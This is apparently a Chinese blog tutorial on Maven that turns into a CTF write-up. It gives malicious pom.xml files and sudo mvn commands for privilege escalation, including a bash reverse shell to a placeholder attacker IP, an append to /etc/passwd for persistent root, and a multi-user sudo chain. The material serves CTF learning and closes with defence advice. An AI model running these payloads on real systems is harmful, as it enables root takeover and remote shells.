前置知识

maven是什么

我们先来看看一个Java项目需要的东西。首先,我们需要确定引入哪些依赖包。例如,如果我们需要用到commons logging,我们就必须把commons logging的jar包放入classpath。如果我们还需要log4j,就需要把log4j相关的jar包都放到classpath中。这些就是依赖包的管理。

其次,我们要确定项目的目录结构。例如,src目录存放Java源码,resources目录存放配置文件,bin目录存放编译生成的.class文件。

此外,我们还需要配置环境,例如JDK的版本,编译打包的流程,当前代码的版本号。

最后,除了使用Eclipse这样的IDE进行编译外,我们还必须能通过命令行工具进行编译,才能够让项目在一个独立的服务器上编译、测试、部署。

这些工作难度不大,但是非常琐碎且耗时。如果每一个项目都自己搞一套配置,肯定会一团糟。我们需要的是一个标准化的Java项目管理和构建工具。

Maven就是是专门为Java项目打造的管理和构建工具,它的主要功能有:

  • 提供了一套标准化的项目结构;
  • 提供了一套标准化的构建流程(编译,测试,打包,发布……);
  • 提供了一套依赖管理机制

关于maven的生命周期

Maven 是一个基于“生命周期”框架的工具,其命令通常指代一个或多个生命周期阶段(Phase)或插件目标(Goal)

  • 生命周期 (Lifecycle):Maven 拥有三套相互独立的标准生命周期,它们就像一个任务的总纲,定义了构建的宏观流程:

    1. default (构建):核心的构建流程,涵盖代码编译、测试、打包、部署等步骤。

    2. clean (清理):主要负责清理项目构建产生的临时文件,如 target 目录

    3. site (站点):用于生成项目站点文档和各类报告(如测试报告)

  • 阶段 (Phase) :每个生命周期都由一系列有序的阶段组成。每个阶段都是构建过程中的一个特定步骤,例如 default 生命周期包含 compile (编译)、test (测试)、package (打包) 等阶段。当你执行某个阶段时,Maven 会自动按顺序执行该阶段及其之前的所有阶段

  • 目标 (Goal):阶段定义了“做什么”,而具体的“怎么做”则由插件(Plugin)的目标来完成。目标是最小的任务执行单元,一个阶段可以绑定一个或多个插件目标[

  • 插件 (Plugin) 与生命周期绑定:Maven 本身只是一个框架,实际工作全由插件完成。Maven 内置了许多插件,并默认将它们的核心目标(如compiler:compile)绑定到对应生命周期的阶段上,确保了开箱即用

常见maven命令

命令 描述 主要阶段
mvn compile 编译项目的主源代码。 执行 default 生命周期的 compile 及之前的所有阶段
mvn test 编译并运行项目的单元测试。 执行 default 生命周期的 test 及之前的所有阶段
mvn package 将项目打包(如 JAR、WAR)。 执行 default 生命周期的 package 及之前的所有阶段(包括 test)。
mvn install 将打包后的文件安装到本地 Maven 仓库。 执行 default 生命周期的 install 及之前的所有阶段
mvn deploy 将最终包发布到远程 Maven 仓库。 执行 default 生命周期的 deploy 及之前的所有阶段

都是mvn + Phase

参考文章:
https://liaoxuefeng.com/books/java/maven/basic/index.html (maven的介绍)


Maven 命令执行漏洞

为什么 mvn 能执行命令?

Maven 的核心设计是”插件驱动”——它本身只是个框架,所有实际工作都由插件完成。这些插件可以在构建的任意阶段执行任意 Java 代码,而 Java 代码可以调用系统命令。

因此,只要你能控制 pom.xml,就能让 Maven 在构建时执行任意命令。

在 CTF 和渗透测试中,最常见的场景是:目标系统配置了 sudo 允许某用户以高权限运行 mvn,而攻击者可以通过 -f 参数指定一个自己写的 pom.xml,从而以高权限执行任意命令。


方法一:exec-maven-plugin(最直接)

原理

exec-maven-plugin 是 Maven 官方生态中专门用来执行外部程序或 Java 程序的插件。它有两个 goal:

  • exec:exec:执行任意系统命令(相当于直接调用 shell)
  • exec:java:执行一个 Java 类的 main 方法

我们用 exec:exec 就能直接执行系统命令。

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<project>
<modelVersion>4.0.0</modelVersion>
<groupId>evil</groupId>
<artifactId>evil</artifactId>
<version>1</version>
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>3.0.0</version>
<executions>
<execution>
<id>rce</id>
<phase>validate</phase>
<goals>
<goal>exec</goal>
</goals>
<configuration>
<executable>cat</executable>
<arguments>
<argument>/flag</argument>
</arguments>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>

触发命令

1
mvn -f /tmp/pom.xml validate

validatedefault 生命周期的第一个阶段,执行它不需要编译任何代码,速度最快。插件绑定到 validate 阶段,所以一执行就会触发。

执行任意 shell 命令

上面的例子只能执行单个程序。如果想执行带管道、重定向的 shell 命令,需要通过 bash -c 来包一层:

1
2
3
4
5
6
7
<configuration>
<executable>bash</executable>
<arguments>
<argument>-c</argument>
<argument>cat /flag > /tmp/out.txt</argument>
</arguments>
</configuration>

或者直接反弹 shell:

1
2
3
4
5
6
7
<configuration>
<executable>bash</executable>
<arguments>
<argument>-c</argument>
<argument>bash -i &gt;&amp; /dev/tcp/攻击机IP/4444 0&gt;&amp;1</argument>
</arguments>
</configuration>

注意:XML 中 > 要写成 &gt;& 要写成 &amp;,否则 XML 解析会报错。

通过 -D 参数直接传递配置(无需在 pom.xml 中配置插件)

exec-maven-plugin 的配置可以通过 -D 参数直接在命令行指定,不需要在 pom.xml 中声明插件。只要当前目录存在一个最简的 pom.xml(Maven 运行的基本要求),就可以直接执行:

1
2
3
4
# 当前目录仍需要一个 pom.xml,但里面不需要配置任何插件
# 最简 pom.xml 只需要 modelVersion、groupId、artifactId、version 四个字段

sudo /usr/bin/mvn exec:exec -Dexec.executable=/bin/sh -Dexec.args="-c 'cat /flag'"

写入 /etc/passwd 实现持久化提权:

1
sudo /usr/bin/mvn exec:exec -Dexec.executable=/bin/sh -Dexec.args="-c 'cat /tmp/newpasswd >> /etc/passwd'"

这种方式直接调用插件的 goal(exec:exec),跳过了生命周期阶段绑定,所有插件参数通过 -D 传入。注意 Maven 本身仍需要一个 pom.xml 才能启动,但这个 pom.xml 可以是最简的空壳,不需要声明 exec-maven-plugin

为什么命令里没写插件全名也能找到?

exec:exec 中的 execexec-maven-plugin 注册的插件前缀(plugin prefix)。Maven 的插件前缀解析机制会自动去中央仓库的元数据(maven-metadata.xml)中查找前缀对应的完整坐标。所以:

1
mvn exec:exec  →  等价于  →  mvn org.codehaus.mojo:exec-maven-plugin:exec

Maven 解析出完整坐标后,会自动下载插件 JAR 并执行对应的 goal。这也意味着:如果靶机无法联网,且本地仓库没有缓存过该插件,这条命令会失败。离线环境下应优先使用 pom.xml 方式或内置的 maven-antrun-plugin

实战中可以配合 -f 参数指向一个已存在的 pom.xml,或者先写一个最简的:

1
2
echo '<project><modelVersion>4.0.0</modelVersion><groupId>x</groupId><artifactId>x</artifactId><version>1</version></project>' > /tmp/pom.xml
sudo /usr/bin/mvn -f /tmp/pom.xml exec:exec -Dexec.executable=/bin/sh -Dexec.args="-c 'cat /tmp/newpasswd >> /etc/passwd'"

方法二:maven-antrun-plugin(借助 Ant 任务)

原理

maven-antrun-plugin 允许在 Maven 构建中嵌入 Ant 任务。Ant 有一个 <exec> 任务,可以执行系统命令。这个插件是 Maven 内置的,不需要额外下载,在离线环境中更可靠。

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<project>
<modelVersion>4.0.0</modelVersion>
<groupId>evil</groupId>
<artifactId>evil</artifactId>
<version>1</version>
<build>
<plugins>
<plugin>
<artifactId>maven-antrun-plugin</artifactId>
<version>3.1.0</version>
<executions>
<execution>
<id>rce</id>
<phase>validate</phase>
<goals>
<goal>run</goal>
</goals>
<configuration>
<target>
<exec executable="bash">
<arg value="-c"/>
<arg value="cat /flag"/>
</exec>
</target>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>

触发命令

1
mvn -f /tmp/pom.xml validate

优势

maven-antrun-plugin 是 Maven 的内置插件,本地仓库通常已经有缓存,不需要联网下载依赖,在隔离网络环境(如 CTF 靶机)中比 exec-maven-plugin 更稳定。


方法三:GMavenPlus(执行 Groovy 代码)

原理

gmavenplus-plugin 允许在 pom.xml 中直接内嵌 Groovy 脚本并执行。Groovy 是运行在 JVM 上的动态语言,可以直接调用所有 Java API,包括 Runtime.exec() 执行系统命令,也可以直接读写文件。

这种方式的优势是:Groovy 代码比 XML 配置更灵活,可以做条件判断、循环、文件操作等复杂逻辑。

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<project>
<modelVersion>4.0.0</modelVersion>
<groupId>evil</groupId>
<artifactId>evil</artifactId>
<version>1</version>
<build>
<plugins>
<plugin>
<groupId>org.codehaus.gmavenplus</groupId>
<artifactId>gmavenplus-plugin</artifactId>
<version>3.0.2</version>
<executions>
<execution>
<phase>validate</phase>
<goals>
<goal>execute</goal>
</goals>
</execution>
</executions>
<configuration>
<scripts>
<script>
def cmd = "cat /flag"
def proc = cmd.execute()
proc.waitFor()
println proc.text
</script>
</scripts>
</configuration>
<dependencies>
<dependency>
<groupId>org.apache.groovy</groupId>
<artifactId>groovy</artifactId>
<version>4.0.15</version>
<scope>runtime</scope>
</dependency>
</dependencies>
</plugin>
</plugins>
</build>
</project>

触发命令

1
mvn -f /tmp/pom.xml validate

读取文件的更简单写法

Groovy 可以直接用 new File() 读文件,不需要执行外部命令:

1
println new File("/flag").text

这种方式完全在 JVM 内部完成,不会产生子进程,更难被检测到。


方法四:通过 -f 指定任意 pom.xml(GTFOBins 标准姿势)

原理

这是 GTFOBins 收录的 mvn 提权方式的核心思路。

mvn-f 参数允许指定任意路径的 pom.xml,不限于当前目录。因此,如果 sudo 规则只限制了可执行文件路径(/usr/bin/mvn),但没有限制参数,攻击者就可以:

  1. 在自己有写权限的目录(如 /tmp)写一个恶意 pom.xml
  2. sudo mvn -f /tmp/pom.xml validate 以高权限执行

GTFOBins 给出的最简 pom.xml(使用 exec:exec 直接调用 shell):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 先写 pom.xml
cat > /tmp/pom.xml << 'EOF'
<project>
<modelVersion>4.0.0</modelVersion>
<groupId>x</groupId><artifactId>x</artifactId><version>1</version>
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>3.0.0</version>
<executions>
<execution>
<phase>validate</phase>
<goals><goal>exec</goal></goals>
<configuration>
<executable>/bin/sh</executable>
<arguments>
<argument>-c</argument>
<argument>id; cat /flag</argument>
</arguments>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
EOF

# 以 root 身份执行
sudo mvn -f /tmp/pom.xml validate

实战:GZCTF 2026 — JYli 的秘密

这道题是 GZCTF 2026 的 misc 题,综合考察了 Web 渗透、多用户提权和 Maven 命令执行。

题目背景

目标是一个 Web 调试控制台,提示 flag 在根目录 /flag,只有 root 可读。

提权链

1
JYli → xxxx → YUNiversity → root

第一步:获取 JYli 的密码

网站提供了一个 OpenSSL 解密工具(/api/decrypt),目录下有 bak/id_rsa.pem(RSA 私钥)和 bak/credentials.enc(加密的密码)。直接调用 API 解密:

1
2
3
4
curl -X POST http://target/api/decrypt \
-H "Content-Type: application/json" \
-d '{"operation":"pkeyutl_decrypt","input_file":"bak/credentials.enc","key_file":"bak/id_rsa.pem"}'
# 得到密码:HGH+dVG2xb96+n0lpXgUxA==

第二步:登录 Web 终端,分析 sudo 权限

1
2
3
JYli:   (xxxx)        NOPASSWD: /usr/bin/python3
xxxx: (YUNiversity) NOPASSWD: /home/YUNiversity/ln
YUNiversity: (ALL) NOPASSWD: /usr/bin/mvn

第三步:JYli → xxxx

1
sudo -u xxxx python3 -c "..."

第四步:xxxx → YUNiversity(ln 自我覆盖技巧)

xxxx 可以以 YUNiversity 身份运行 /home/YUNiversity/ln,而 ln 本身是创建符号链接的工具。用它把自己覆盖成 bash 的符号链接:

1
2
3
4
5
6
7
sudo -u xxxx python3 -c "
import subprocess
subprocess.run([
'sudo', '-u', 'YUNiversity',
'/home/YUNiversity/ln', '-sf', '/bin/bash', '/home/YUNiversity/ln'
])
"

执行后,/home/YUNiversity/ln 变成了指向 /bin/bash 的符号链接。sudoers 规则没变,但现在 xxxx 以 YUNiversity 身份运行的实际上是 bash:

1
2
3
4
5
6
7
8
sudo -u xxxx python3 -c "
import subprocess
r = subprocess.run(
['sudo', '-u', 'YUNiversity', '/home/YUNiversity/ln', '-c', 'sudo mvn -f /tmp/pom.xml validate'],
capture_output=True, text=True
)
print(r.stdout)
"

第五步:YUNiversity → root(mvn 命令执行)

YUNiversity 的 sudo mvn 权限是 (ALL) NOPASSWD,即可以以任意用户(包括 root)身份运行 mvn。

提前写好 /tmp/pom.xml(使用 exec-maven-plugin 执行 cat /flag),然后:

1
sudo /usr/bin/mvn -f /tmp/pom.xml validate

mvn 以 root 身份运行,exec-maven-pluginvalidate 阶段执行 cat /flag,flag 直接输出。

关键点总结

  • ln 可以覆盖自身,把一个受限的 sudo 路径替换成任意程序
  • mvn -f 可以加载任意路径的 pom.xml,绕过了”只允许运行 mvn”的限制
  • exec-maven-plugin 绑定到 validate 阶段,执行 mvn validate 即可触发,无需编译代码

防御建议

如果必须给用户 sudo mvn 权限,应该:

  1. 限制 -f 参数:在 sudoers 中使用 NOEXEC 或通过 wrapper 脚本限制只能使用固定的 pom.xml
  2. 使用 sudoedit 代替直接给 sudo 权限
  3. 最小权限原则:不要给 (ALL) 的 sudo 权限,明确指定目标用户

参考资料: